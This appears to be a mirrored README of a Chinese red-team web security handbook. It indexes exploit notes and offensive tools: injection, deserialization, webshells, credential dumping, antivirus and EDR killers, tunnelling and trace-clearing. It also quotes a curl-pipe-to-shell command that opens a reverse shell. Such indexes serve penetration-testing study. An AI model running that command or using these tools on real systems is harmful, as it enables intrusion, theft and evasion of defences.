web-sec

KO | EN

gitlite — search

#hacktoberfest #react #ai #llm #android #rust #deep-learning #docker #macos #nodejs #kubernetes #security #ios #openai

(★ 1,941)

WEB安全手册(红队安全技能栈)，漏洞理解，漏洞利用，代码审计和渗透测试总结。【持续更新】

web-sec 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# WEB 安全手册
<img src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg"> <img src="https://img.shields.io/github/stars/ReAbout/web-sec?style=social"> <img src="https://img.shields.io/github/forks/ReAbout/web-sec?style=social">

【声明】个人的快速查询目录，经验整理，仅供参考。     
【内容】包括个人对漏洞理解、漏洞利用、代码审计和渗透测试的整理，也收录了他人相关的知识的总结和工具的推荐。

## 使用方式
- 人工速查入口：优先从本页的目录和“高频速查入口”进入。
- 专题正文入口：漏洞利用看 `./exp/`，原理理解看 `./vul/`，渗透流程看 `./penetration/`。
- AI/Wiki 入口：优先阅读 [AI-WIKI 索引](./AI-WIKI.md)，里面补了主题映射、别名、检索关键词和推荐输出结构。

## 高频速查入口
- 前端基础：`跨域 / SOP / CSP / JSONP / DOM 污染` -> [跨域安全](./vul/VUL-CrossDomain.md)
- 常见 Web 利用：`XSS / CSRF / SSRF / SQLi / SSTI / XXE / 文件上传 / 反序列化` -> `./exp/`
- Java 方向：`EL / SPEL / OGNL / JNDI / 反序列化` -> `./exp/EXP-Expression-Injection.md`、`./exp/EXP-SPEL-Injection.md`、`./exp/EXP-OGNL-Injection.md`、`./exp/EXP-Java-Unserialize.md`
- 权限与后渗透：`提权 / 会话 / 内网 / 隧道 / 痕迹清理` -> `./penetration/`
- Windows 现场：`取凭证 / 提权 / 命令 / RDP / WinRM / WMI` -> `./penetration/PEN-GetHash.md`、`./penetration/PEN-WinCmd.md`
- Linux 现场：`取凭证 / SUID / 本地提权 / 反弹 shell` -> `./penetration/PEN-GetHash-Linux.md`、`./penetration/PEN-Setuid-Linux.md`、`./penetration/PEN-Linux-LPE.md`、`./penetration/PEN-ReShell.md`

## 速查矩阵
| 主题 | 典型成立条件 | 第一入口 | 常用检索词 |
| --- | --- | --- | --- |
| XSS | 输入可控 + 输出落入可执行上下文 | [EXP-XSS](./exp/EXP-XSS.md) | `反射型` `存储型` `DOM XSS` `CSP` |
| CSRF | 仅凭 Cookie 鉴权 + 状态变更接口 + 缺少额外校验 | [EXP-CSRF](./exp/EXP-CSRF.md) | `SameSite` `Token` `Origin` `Fetch Metadata` |
| SSRF | 服务端可控请求目标 + 可访问内部资源 | [EXP-SSRF](./exp/EXP-SSRF.md) | `回显型` `盲 SSRF` `云 metadata` |
| SQLi | 参数拼接 SQL + 过滤不严 | [EXP-SQLi-MySQL](./exp/EXP-SQLi-MySQL.md) | `报错` `布尔盲注` `时间盲注` `OOB` |
| SSTI | 模板表达式可控 + 模板引擎执行 | [EXP-SSTI-ALL](./exp/EXP-SSTI-ALL.md) | `Jinja2` `Twig` `Freemarker` |
| 命令执行 | 参数进入系统命令或解释器 | [EXP-CI-PHP](./exp/EXP-CI-PHP.md) | `命令拼接` `RCE` `Runtime.exec` |
| XXE | XML 解析器允许外部实体 | [EXP-XXE](./exp/EXP-XXE.md) | `外部实体` `文件读取` `SSRF` |
| 文件上传 | 可上传可解析文件 + 校验薄弱 | [EXP-Upload](./exp/EXP-Upload.md) | `MIME` `后缀绕过` `解析差异` |
| 反序列化 | 不可信数据进入反序列化入口 | [EXP-Java-Unserialize](./exp/EXP-Java-Unserialize.md) / [EXP-PHP-Unserialize](./exp/EXP-PHP-Unserialize.md) | `gadget` `JNDI` `POP` |
| 原型链污染 | 可控键写入对象原型链 | [EXP-nodejs-proto](./exp/EXP-nodejs-proto.md) | `__proto__` `constructor.prototype` |
| 越权 | 只验登录态 + 不验资源归属 | [EXP-IDOR](./exp/EXP-IDOR.md) | `水平越权` `垂直越权` `BOLA` |
| JWT | 签名算法/密钥/声明校验缺陷 | [EXP-JWT](./exp/EXP-JWT.md) | `alg=none` `算法混淆` `弱密钥` `kid` |
| 文件读取 | 路径可控 + 未限制目录 | [EXP-FileRead](./exp/EXP-FileRead.md) | `目录穿越` `任意文件下载` `伪协议` |
| NoSQL | 参数被解析为查询对象 | [EXP-NoSQL](./exp/EXP-NoSQL.md) | `$ne` `$regex` `$where` |
| 请求走私 | 前后端 CL/TE 解析不一致 | [EXP-Request-Smuggling](./exp/EXP-Request-Smuggling.md) | `CL.TE` `TE.CL` `HTTP/2降级` |

## 使用建议
- 做题或实战时，先定位“漏洞类别 -> 成立条件 -> 常见利用链 -> 防御点”。
- 查不准时，不要只搜英文名，也要用别名检索，例如：`请求伪造`、`模板注入`、`原型链污染`、`请求走私`。
- 一个主题如果既涉及原理又涉及利用，优先读 `vul/` 理解边界，再回 `exp/` 找 payload 和步骤。
- 对 AI 来说，优先提供“目标场景 + 语言/框架 + 认证方式 + 是否有 WAF / CSP / SameSite”这几个限定词，答案会更稳定。

## 目录
  * [0x00 技能栈](#0x00-技能栈)
  * [0x01 漏洞理解篇(Vulnerability)](#0x01-漏洞理解篇vulnerability)
    * [1.1 前端](#11-前端)
    * [1.2 后端](#12-后端)
    * [1.3 打造自己的知识库](#13-打造自己的知识库)
  * [0x02 漏洞利用篇(Exploit)](#0x02-漏洞利用篇exploit)
    * [2.1 前端安全-XSS](#21-前端安全-xss)
    * [2.2 前端安全-CSRF](#22-前端安全-csrf)
    * [2.3 Server-side request forgery (SSRF)](#23-server-side-request-forgery-ssrf)
    * [2.4  [注入]SQL注入&数据库漏洞利用](#24--注入sql注入数据库漏洞利用)
    * [2.5 [注入]模板注入 Server Side Template Injection (SSTI)](#25-注入模板注入-server-side-template-injection-ssti)
    * [2.6 [注入]命令注入&代码执行](#26-注入命令注入代码执行)
    * [2.7 [注入]Xpath注入](#27-注入xpath注入)
    * [2.8 XML External Entity (XXE)](#28-xml-external-entity-xxe)
    * [2.9 文件操作漏洞](#29-文件操作漏洞)
    * [2.10 反序列化漏洞](#210-反序列化漏洞)
    * [2.11 包含漏洞](#211-包含漏洞)
    * [2.12 Java-特性漏洞](#212-java-特性漏洞)
    * [2.13 NodeJs-特性漏洞](#213-nodejs-特性漏洞)
    * [2.14 不一致性](#214-不一致性)
    * [2.15 越权漏洞](#215-越权漏洞)
    * [2.16 JWT攻击](#216-jwt攻击)
    * [2.17 跨域利用](#217-跨域利用)
    * [2.18 CRLF注入](#218-crlf注入)
    * [2.19 信息泄露](#219-信息泄露)
    * [2.20 业务逻辑漏洞](#220-业务逻辑漏洞)
  * [0x03 代码审计篇(Audit)](#0x03-代码审计篇audit)
    * [3.1 PHP](#31-php)
    * [3.2 JAVA](#32-java)
    * [3.3 .NET](#33-net)
    * [3.4 Perl CGI](#34-perl-cgi)
  * [0x04 渗透篇(Penetration)](#0x04-渗透篇penetration)
    * [4.1 网络预置](#41-网络预置)
      * [4.1.1 代理客户端(环境准备)](#411-代理客户端环境准备)
      * [4.1.2 常规信息（单兵）](#412-常规信息单兵)
      * [4.1.3 资产搜索引擎（大数据）](#413-资产搜索引擎大数据)
      * [4.1.4 移动端信息收集](#414-移动端信息收集)
      * [4.1.5 近源渗透（WiFi）](#415-近源渗透wifi)
    * [4.2 网络接入(exp)](#42-网络接入exp)
      * [4.2.1 漏洞验证（扫描器）](#421-漏洞验证扫描器)
        * [4.2.1.1 主动式](#4211-主动式)
        * [4.2.1.2 被动式](#4212-被动式)
      * [4.2.2漏洞利用(1day)](#422漏洞利用1day)
        * [4.2.2.1 漏洞利用知识](#4221-漏洞利用知识)
        * [4.2.2.2 漏洞利用工具](#4222-漏洞利用工具)
        * [4.2.2.3 dnslog平台](#4223-dnslog平台)
      * [4.2.3 字典](#423-字典)
    * [4.3 权限获取&提升](#43-权限获取提升)
      * [4.3.1 Win](#431-win)
      * [4.3.2 Linux](#432-linux)
      * [4.3.3 Docker&Sandbox逃逸](#433-dockersandbox逃逸)
    * [4.4 权限维持&后门](#44-权限维持后门)
      * [4.4.1 通用](#441-通用)
      * [4.4.2 Shell会话](#442-shell会话)
      * [4.4.2 Webshell](#442-webshell)
      * [4.4.3 PC & Server](#443-pc--server)
      * [4.4.4 Mobile (Android & ios)](#444-mobile-android--ios)
    * [4.5 免杀](#45-免杀)
      * [4.5.1 二进制免杀](#451-二进制免杀)
      * [4.5.2 webshell免杀和WAF逃逸](#452-webshell免杀和waf逃逸)
    * [4.6 隧道&代理](#46-隧道代理)
      * [4.6.1 TCP隧道](#461-tcp隧道)
      * [4.6.2 HTTP隧道](#462-http隧道)
      * [4.6.3 DNS隧道](#463-dns隧道)
      * [4.6.3 ICMP隧道](#463-icmp隧道)
    * [4.7 后渗透](#47-后渗透)
      * [4.7.1 内网信息获取&执行](#471-内网信息获取执行)
      * [4.7.2 轻量级扫描工具](#472-轻量级扫描工具)
      * [4.7.3 渗透框架](#473-渗透框架)
      * [4.7.4 域渗透](#474-域渗透)
      * [4.7.5 云平台](#475-云平台)
    * [4.8 反溯源](#48-反溯源)
    * [4.9 协同](#49-协同)

## 0x00 技能栈
依照红队的流程分工，选择适合自己的技能栈发展。    
>越接近中心的能力点越贴近web技术栈，反之亦然。可以根据自身情况，选择技术栈的发展方向。

![](https://raw.githubusercontent.com/ReAbout/web-sec/master/images/web-sec.png)

## 0x01 漏洞理解篇(Vulnerability)
### 1.1 前端
> 同源策略 & CSP & JSONP
- [跨域安全](./vul/VUL-CrossDomain.md)
### 1.2 后端
> 应用分层 & 漏洞分类
- [错综复杂的后端逻辑及安全](./vul/VUL-Backend.md)
> 认证机制 & 密码误用 & 逻辑设计
- [认证与会话机制](./vul/VUL-Auth-Session.md)
- [Web 密码学误用](./vul/VUL-Crypto.md)
- [业务逻辑漏洞原理](./vul/VUL-Logic.md)

### 1.3 打造自己的知识库
>爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区
- [**[Tool]** 推送安全情报爬虫@Le0nsec](https://github.com/Le0nsec/SecCrawler)

## 0x02 漏洞利用篇(Exploit)
### 2.1 前端安全-XSS
> XSS 利用的是用户对指定网站的信任 
- [Cross Site Scripting (XSS)](./exp/EXP-XSS.md)
### 2.2 前端安全-CSRF
> CSRF 利用的是网站对用户网页浏览器的信任   
- [Client-side request forgery (CSRF)](./exp/EXP-CSRF.md)
### 2.3 Server-side request forgery (SSRF)
- [SSRF](./exp/EXP-SSRF.md)

###  2.4  [注入]SQL注入&数据库漏洞利用
- [SQL injection - MySQL](./exp/EXP-SQLi-MySQL.md)
- [SQL injection - Oracle](./exp/EXP-SQLi-Oracle.md)
- [SQL injection - MSSQL](./exp/EXP-DB-MSSQL.md)  
> MySQL，Oracle，MSSQL和PostgreSQL的OOB方法
- [SQL injection - 信息外带(OOB)](./exp/EXP-SQLi-OOB.md)

- [Redis 漏洞利用](./exp/EXP-DB-Redis.md)
> MongoDB 操作符注入（PHP/Node 数组参数场景）
- [NoSQL 注入](./exp/EXP-NoSQL.md)
> go写的命令行版本
- [**[Tool]** 数据库综合利用工具](https://github.com/Hel10-Web/Databasetools)
> 程序检测参数不能为空，导致空口令无法利用
- [**[Tool]** 数据库综合利用工具](https://github.com/Ryze-T/Sylas)
- [**[Tool]** MSSQL利用工具](https://github.com/uknowsec/SharpSQLTools)

### 2.5 [注入]模板注入 Server Side Template Injection (SSTI)
> MVC架构中，模板参数恶意输入产生的安全问题
- [SSTI 总述](./exp/EXP-SSTI-ALL.md)
- [SSTI -Python](./exp/EXP-SSTI-Python.md)
- [SSTI -PHP](./exp/EXP-SSTI-PHP.md)
- [SSTI Payload @payloadbox](https://github.com/payloadbox/ssti-payloads)

### 2.6 [注入]命令注入&代码执行
- [命令注入&代码执行-PHP](./exp/EXP-CI-PHP.md)
- [命令注入&代码执行-Java](./exp/EXP-CI-Java.md)
### 2.7 [注入]Xpath注入
> XPath 即为 XML 路径语言
- [XPath Injection](./exp/EXP-XPath.md)
### 2.8 XML External Entity (XXE) 
- [XXE](./exp/EXP-XXE.md)
### 2.9 文件操作漏洞
- [文件上传漏洞](./exp/EXP-Upload.md)
- [文件上传漏洞WAF绕过-JSP](./exp/EXP-Upload-JSP.md)
> 文件操作的另一半：读取/下载/目录穿越
- [任意文件读取与目录穿越](./exp/EXP-FileRead.md)
> 远古时期的通杀利器
- [FCKeditor编辑器漏洞利用](./exp/EXP-FCK.md)

### 2.10 反序列化漏洞
>php,java只能序列化数据，python可以序列化代码。   
- [反序列化漏洞-PHP](./exp/EXP-PHP-Unserialize.md)
- [反序列化漏洞-Java](./exp/EXP-Java-Unserialize.md)
> pickle序列化的是代码逻辑，拿到入口基本等于RCE
- [反序列化漏洞-Python(pickle)](./exp/EXP-Python-Unserialize.md)
- [绕过高版本Jdk的限制进行Jndi注入利用](./exp/EXP-Java-Unserialize-Bypass-Jdk.md)    
- [**[Tool]** 反序列化漏洞利用工具-Java ysoserial](https://github.com/frohoff/ysoserial)
> 拓展payload和内存马
- [**[Tool]** 反序列化漏洞利用工具 Y4er](https://github.com/Y4er/ysoserial)
> 拓展payload和添加脏数据绕过waf功能（已删库）
- ~[**[Tool]** 反序列化漏洞利用工具 su18](https://github.com/su18/ysoserial)~

### 2.11 包含漏洞
- [包含漏洞-PHP](./exp/EXP-Include-PHP.md)

### 2.12 Java-特性漏洞
- [表达式(EL)注入](./exp/EXP-Expression-Injection.md)
- [Spring表达式(SPEL)注入](./exp/EXP-SPEL-Injection.md)
> Confluence和Struct2都使用OGNL
- [OGNL表达式注入](./exp/EXP-OGNL-Injection.md)
- [SprintBoot漏洞利用清单@LandGrey](https://github.com/LandGrey/SpringBootVulExploit)
> 按照清单做的配套工具
- [**[Tool]** SprintBoot漏洞利用工具](https://github.com/0x727/SpringBootExploit)

### 2.13 NodeJs-特性漏洞
- [Node.js 原型链污染](./exp/EXP-nodejs-proto.md)
### 2.14 不一致性
> 利用前后DNS解析的不一致（劫持或者逻辑问题）   
- [DNS rebinding 攻击](./exp/EXP-DNS-Rebinding.md)
> 前后端不一致性
- [HTTP 请求走私](./exp/EXP-Request-Smuggling.md)
- [请求走私总结@chenjj](https://github.com/chenjj/Awesome-HTTPRequestSmuggling)

### 2.15 越权漏洞
> 认证不等于授权，利用见双账号对比法
- [越权漏洞（IDOR / Broken Access Control）](./exp/EXP-IDOR.md)
### 2.16 JWT攻击
> alg=none / 算法混淆 / 弱密钥 / kid注入
- [JWT 攻击](./exp/EXP-JWT.md)
### 2.17 跨域利用
> CSRF是"写"，CORS/JSONP劫持是"读"
- [CORS 误配与 JSONP 劫持](./exp/EXP-CORS.md)
### 2.18 CRLF注入
> 换行符进响应头，拆分响应打XSS
- [CRLF 注入与 HTTP 响应拆分](./exp/EXP-CRLF.md)
### 2.19 信息泄露
> 源码/配置/接口文档/调试信息，攻击链的第一步
- [信息泄露](./exp/EXP-InfoLeak.md)
### 2.20 业务逻辑漏洞
> 条件竞争 / 验证码 / 密码重置 / 支付篡改
- [业务逻辑漏洞利用](./exp/EXP-Logic.md)

## 0x03 代码审计篇(Audit)

### 3.1 PHP
>自己整理的PHP代码审计
- [PHP代码审计手册](https://github.com/ReAbout/audit-php)
- [PHP代码审计@bowu678](https://github.com/bowu678/php_bugs)
- [PHP代码审计入门指南@burpheart](https://github.com/burpheart/PHPAuditGuideBook)
### 3.2 JAVA
>自己整理的Java代码审计
- [Java代码审计手册](https://github.com/ReAbout/audit-java)
- [Java代码审计@cn-panda](https://github.com/cn-panda/JavaCodeAudit)
- [Java安全@Y4tacker](https://github.com/Y4tacker/JavaSec)
- [Java漏洞平台@j3ers3](https://github.com/j3ers3/Hello-Java-Sec)

### 3.3 .NET
- [.Net反序列化@Ivan1ee](https://github.com/Ivan1ee/NET-Deserialize)

### 3.4 Perl CGI
> Perl CGI快速上手，了解Perl语言特性
- [Perl基础&代码审计@mi1k7ea](https://www.mi1k7ea.com/2020/11/24/Perl%E5%9F%BA%E7%A1%80-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/)

## 0x04 渗透篇(Penetration)
【流程】网络预置（准备&信息收集）-->网络接入（外网突破）-->权限获取和提升-->权限维持（后门）-->后渗透    
【基础】---免杀+++反溯源+++协同---

### 4.1 网络预置

#### 4.1.1 代理客户端(环境准备)
> 操作系统 on VM + OpenWrt网关 on VM = 全局跳板
- [全局代理[VMware]：Openwrt on VMware网关方案](./penetration/PEN-Openwrt.md)

> 全局代理，虚拟网卡，需要手动配路由
- [全局代理[Win]：Windows下socks客户端全局代理终极解决方案——tun2socks](./penetration/PEN-Tun2socks.md)

> SSTap全局代理也是基于虚拟网卡方案，可惜已停止更新，推荐使用1.0.9.7版本
- [**[Tool]** Windows下全局代理客户端工具 SSTap](https://github.com/solikethis/SSTap-backup)

> 【推荐!】Clash for Windows支持TAP模式基于虚拟网卡方案，走全局
- [**[Tool]** Windows下全局代理客户端工具 Clash for Windows](https://github.com/Fndroid/clash_for_windows_pkg)

>Proxifier 全局代理支持并不好，可以设置规则选择指定程序走代理或直连
- [**[Tool]** Windows下代理客户端工具 Proxifier](https://www.proxifier.com/)

- [**[Tool]** Windows版 proxychains](https://github.com/shunf4/proxychains-windows)

#### 4.1.2 常规信息（单兵）
- [外网信息收集思路](./penetration/PEN-Info.md)
- [IP地址信息网站 ipip.net](http://ipip.net)
- [IP反查域名和子域名查询 rapiddns.io](https://rapiddns.io/)
> 有域名层级图，更直观
- [子域名查询 dnsdumpster](https://dnsdumpster.com/)
#### 4.1.3 资产搜索引擎（大数据）
- [fofa.so](https://fofa.so)   
- [shodan.io](https://www.shodan.io/)   
- [zoomeye.org](https://www.zoomeye.org/)
- [censys.io](https://search.censys.io/)
#### 4.1.4 移动端信息收集
>从移动端拓展目标信息
- [**[Tool]** 移动端信息收集工具 AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner)    
- [**[Tool]** 安全分析框架 MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)

#### 4.1.5 近源渗透（WiFi）
> 高通410随身wifi改造
- [打造近源渗透工具](./penetration/PEN-WiFi-Tool.md)

### 4.2 网络接入(exp)

#### 4.2.1 漏洞验证（扫描器）
> 工欲其善必先利器
- [扫描器专题](./penetration/PEN-Scanner.md)
##### 4.2.1.1 主动式
 - [**[Tool]** AWVS  Docker版](https://hub.docker.com/r/secfa/docker-awvs)
 - [**[Tool]** 长亭的扫描器 Xray](https://github.com/chaitin/xray)   
 - [**[Tool]** Vulmap](https://github.com/zhzyker/vulmap)   
 - [**[Tool]** 红队综合渗透框架SatanSword@Lucifer1993](https://github.com/Lucifer1993/SatanSword)
##### 4.2.1.2 被动式
>将Burpusuite打造成一个被动式扫描器   
- [**[Tool]** BurpSutie 插件集合@Mr-xn](https://github.com/Mr-xn/BurpSuite-collections)

#### 4.2.2漏洞利用(1day)
##### 4.2.2.1 漏洞利用知识
- [漏洞索引表](./exp/EXP-Vul-Index.md)
> IoT安全 & web安全& 系统漏洞 1day整理
- [红队中易被攻击的一些重点系统漏洞整理@r0eXpeR](https://github.com/r0eXpeR/redteam_vul)
- [织梦全版本漏洞扫描@lengjibo](https://github.com/lengjibo/dedecmscan)
##### 4.2.2.2 漏洞利用工具
> oa
- [**[Tool]** 国内OA系统漏洞检测](https://github.com/LittleBear4/OA-EXPTOOL)
> struts2：利用功能已删除，仅支持检测
- [**[Tool]** Struts2漏洞扫描&利用](https://github.com/HatBoy/Struts2-Scan)
> struts2：GUI，功能齐全
- [**[Tool]** Struts2漏洞扫描&利用](https://github.com/abc123info/Struts2VulsScanTools)
> shiro：GUI，支持对Shiro550（硬编码秘钥）和Shiro721（Padding Oracle）的一键化检测
- [**[Tool]** shiro反序列化漏洞利用](https://github.com/feihong-cs/ShiroExploit-Deprecated)
> shiro：Python,方便修改代码，支持2种加密格式
- [**[Tool]** shiro反序列化漏洞利用](https://github.com/Ares-X/shiro-exploit)
> fastjson
- [**[Tool]** Fastjson漏洞快速利用框架](https://github.com/c0ny1/FastjsonExploit)
> fastjson：各类poc,方便手动测试
- [Fastjson姿势技巧集合@safe6Sec](https://github.com/safe6Sec/Fastjson)
> exchange:爆破
- [**[Tool]** EBurstGo Exchange 服务器 Web 接口爆破邮箱账户](https://github.com/X1r0z/EBurstGo)
> confluence
- [**[Tool]** ConfluenceMemshell Confluence利用工具(CVE-2021-26084，CVE-2022-26134，CVE_2023_22515，CVE-2023-22527)](https://github.com/Lotus6/ConfluenceMemshell)

##### 4.2.2.3 dnslog平台
> 用于出网检测，无回显命令执行检测
- [dnslog.cn](http://dnslog.cn/)
- [ceye](http://ceye.io/)
>【推荐!】好用，开源
- [requestrepo](https://requestrepo.com/)

#### 4.2.3 字典

- [常用的字典，用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等@insightglacier](https://github.com/insightglacier/Dictionary-Of-Pentesting)
- [Fuzzing相关字典@TheKingOfDuck](https://github.com/TheKingOfDuck/fuzzDicts)
>全拼用户名10w
- [爆破字典](https://github.com/rootphantomer/Blasting_dictionary)

### 4.3 权限获取&提升
#### 4.3.1 Win
**权限获取：**    
> 离线|在线|破解
- [Windows 认证凭证获取](./penetration/PEN-GetHash.md)  
- [**[Tool]** mimikatz Windows认证凭证提取神器](https://github.com/gentilkiwi/mimikatz)
- [**[Tool]** go-secdump 利用smb远程无文件落地获取@jfjallid](https://github.com/jfjallid/go-secdump)

**提权:**    
- [Windows提权检测工具 Windows Exploit Suggester](https://github.com/bitsadmin/wesng)
> 已经停止更新到CVE-2018
- [Windows提权漏洞集合@SecWiki](https://github.com/SecWiki/windows-kernel-exploits)
- [PetitPotato for Win10](https://github.com/wh0amitz/PetitPotato)
- [CVE-2022-24481](https://github.com/robotMD5/CVE-2022-24481-POC)
#### 4.3.2 Linux
**权限获取：**    
- [Linux 认证凭证获取](./penetration/PEN-GetHash-Linux.md)

**提权:**     
- [Linux 提权检测脚本 lse.sh](https://github.com/diego-treitos/linux-smart-enumeration)
- [Linux setuid提权](./penetration/PEN-Setuid-Linux.md)
- [Linux经典漏洞提权总结](./penetration/PEN-Linux-LPE.md)
> 已经停止更新到CVE-2018
- [Linux提权漏洞集合@SecWiki](https://github.com/SecWiki/linux-kernel-exploits)

#### 4.3.3 Docker&Sandbox逃逸

- [Dokcer容器逃逸@duowen1](https://github.com/duowen1/Container-escape-exps)

### 4.4 权限维持&后门
#### 4.4.1 通用
> backdoor生成，meterpreter操作指令
- [Meterpreter of Metasploit 使用教程](./penetration/PEN-MSF.md)

#### 4.4.2 Shell会话
- [反弹/正向 Shell & 升级交互式Shell (Linux&Win)](./penetration/PEN-ReShell.md)   
> curl https://reverse-shell.sh/192.168.0.69:1337 | sh
- [**[Tool]** reverse-shell](https://github.com/lukechilds/reverse-shell)

#### 4.4.2 Webshell
- [**[Tool]** WebShell管理工具 菜刀](https://github.com/raddyfiy/caidao-official-version)
- [**[Tool]** WebShell管理工具 蚁剑](https://github.com/AntSwordProject/AntSword-Loader)
- [**[Tool]** WebShell管理工具 冰蝎](https://github.com/rebeyond/Behinder)
- [**[Tool]** WebShell管理工具 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [收集的各种Webshell@tennc](https://github.com/tennc/webshell)
- [Webshell 命令执行失败问题解决](./penetration/PEN-Webshell-Question.md)

#### 4.4.3 PC & Server
- [**[Tool]** Cobalt Strike ]()
- [Cobalt Strike资料汇总@zer0yu](https://github.com/zer0yu/Awesome-CobaltStrike)
#### 4.4.4 Mobile (Android & ios)  
### 4.5 免杀
#### 4.5.1 二进制免杀
- [免杀系列文章及配套工具@TideSec](https://github.com/TideSec/BypassAntiVirus)
##### shellcode加载器
- [**[Tool]**  LoaderGo免杀工具@di0xide-U](https://github.com/di0xide-U/LoaderGo)
- [**[Tool]**  千机-红队免杀木马自动生成器@Pizz33](https://github.com/Pizz33/Qianji)
- [**[Tool]**  RingQ@T4y1oR](https://github.com/T4y1oR/RingQ)
- [**[Tool]**  darkPulse@fdx-xdf](https://github.com/fdx-xdf/darkPulse)
##### kill杀软
- [**[Tool]**  强关进程EDR-XDR-AV-Killer@EvilBytecode](https://github.com/EvilBytecode/EDR-XDR-AV-Killer)  
- [**[Tool]**  强关Windows defender@es3n1n](https://github.com/es3n1n/no-defender)
##### rootkit
- [**[Tool]**  shadow-rs@joaoviictorti](https://github.com/joaoviictorti/shadow-rs)

#### 4.5.2 webshell免杀和WAF逃逸
- [Webshell免杀&WAF逃逸](./penetration/Webshell-Bypass.md)
- [**[Tool]** 哥斯拉WebShell免杀生成@Tas9er](https://github.com/Tas9er/ByPassGodzilla)
- [**[Tool]** 冰蝎WebShell免杀生成@Tas9er](https://github.com/Tas9er/ByPassBehinder)
- [**[Tool]** 免杀webshell生成集合工具@cseroad](https://github.com/cseroad/Webshell_Generate)
- [**[Tool]** XG拟态-Webshell静态免杀+流量逃逸@xiaogang000](https://github.com/xiaogang000/XG_NTAI)
- [**[Tool]** 哥斯拉二次开发-WAF逃逸+免杀@kong030813](https://github.com/kong030813/Z-Godzilla_ekp)
- 
### 4.6 隧道&代理
#### 4.6.1 TCP隧道
- [SSH 端口转发&开socks5](./penetration/PEN-ssh.md)
- [Iptables 端口复用](./penetration/PEN-Reuse.md)
 > FRP 客服端和服务端配合的端口转发工具
- [**[Tool]** 反向端口转发工具 FRP](https://github.com/fatedier/frp)
> Venom 可以嵌套多层代理，适合多层无外网的渗透测试，停止更新
- [**[Tool]** 内网多级代理服务端工具 Venom](https://github.com/Dliv3/Venom/releases)
> 【推荐!】比Venom更加稳定，持续更新
- [**[Tool]** 内网多级代理服务端工具 Stowaway](https://github.com/ph4ntonn/Stowaway)
#### 4.6.2 HTTP隧道
>HTTP代理，国内更新维护
- [**[Tool]** HTTP代理 Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
>HTTP代理，号称性能是neo的10倍
- [**[Tool]** HTTP代理 suo5](https://github.com/zema1/suo5)
#### 4.6.3 DNS隧道
- [**[Tool]** DNS隧道工具 iodine](https://github.com/yarrick/iodine)
#### 4.6.3 ICMP隧道
- [**[Tool]** ICMP隧道工具 PingTunnel](https://github.com/esrrhs/pingtunnel)

### 4.7 后渗透
#### 4.7.1 内网信息获取&执行
> 信息获取 & 远程文件操作 & 远程执行命令 & ipc$ & wmi & winrm
- [Windows 主机常用命令](./penetration/PEN-WinCmd.md)
> 超强神器，wmi,smb等执行脚本，python方便liunx使用
- [**[Tool]** Impacket](https://github.com/fortra/impacket)
> 可以提取流量中用户名&密码，NTML Hash，图片等，以及绘制网络拓扑。
- [**[Tool]** 流量取证工具 BruteShark](https://github.com/odedshimon/BruteShark)
> Windows rdp相关的登录记录导出工具。
- [**[Tool]** 浏览器数据导出解密工具](https://github.com/moonD4rk/HackBrowserData)
- [**[Tool]** SharpRDPLog](https://github.com/Adminisme/SharpRDPLog)
 > Xshell在本地保存的密码进行解密
- [**[Tool]** SharpXDecrypt](https://github.com/JDArmy/SharpXDecrypt)
####  4.7.2 轻量级扫描工具
> 内网扫描神器，go语言跨平台，效率快，支持各类口令爆破，还有主机识别和web服务识别。
- [**[Tool]** fscan](https://github.com/shadow1ng/fscan)
> k8 team的内网扫描器
- [**[Tool]** Landon](https://github.com/k8gege/LadonGo)

#### 4.7.3 渗透框架
- [**[Tool]** 后渗透利用神器 Metasploit](https://www.metasploit.com/)
- [**[Tool]** 内网横向拓展系统 InScan](https://github.com/inbug-team/InScan)
- [**[Tool]** 开源图形化内网渗透工具 Viper](https://github.com/FunnyWolf/Viper)
#### 4.7.4 域渗透
- [域信息收集与 BloodHound](./penetration/PEN-BloodHound.md)
- [Kerberos 认证攻击速查](./penetration/PEN-Kerberos.md)
- [域渗透@uknowsec](https://github.com/uknowsec/Active-Directory-Pentest-Notes)
- 域提权：MS14-068,CVE-2020-1472(Zerologon),CVE-2021-42287/CVE-2021-42278,CVE-2022-26923

#### 4.7.5 云平台
> AKSK利用 & metadata & 对象存储
- [云上攻防速查](./penetration/PEN-Cloud.md)
>k8s渗透
- [从零开始的Kubernetes攻防@neargle](https://github.com/neargle/my-re0-k8s-security)   
>通过accesskey获取相关主机权限执行命令
- [**[Tool]** Aliyun Accesskey Tool](https://github.com/mrknow001/aliyun-accesskey-Tools)
- [**[Tool]** CF 云环境利用框架](https://github.com/teamssix/cf)

### 4.8 反溯源 
 - [Linux 痕迹清理](./penetration/PEN-LinuxClear.md)
 - [Windows 痕迹清理](./penetration/PEN-WinClear.md)
 - [攻击和反制@Getshell](https://github.com/Getshell/Fanzhi)
 - [**[Tool]** xhide linux进程名隐藏](https://github.com/chenkaie/junkcode/blob/master/xhide.c)    
### 4.9 协同
- [HackMD markdown协同工具(Docker版)](https://hackmd.io/c/codimd-documentation/%2Fs%2Fcodimd-docker-deployment)
> 简单，美观
- [文件管理系统](https://github.com/filebrowser/filebrowser)
## Other
[toc目录生成工具](https://houbb.github.io/opensource/markdown-toc/)

![Star History Chart](https://api.star-history.com/svg?repos=ReAbout/web-sec&type=Date)

web-sec

web-sec 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

web-sec

web-sec 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README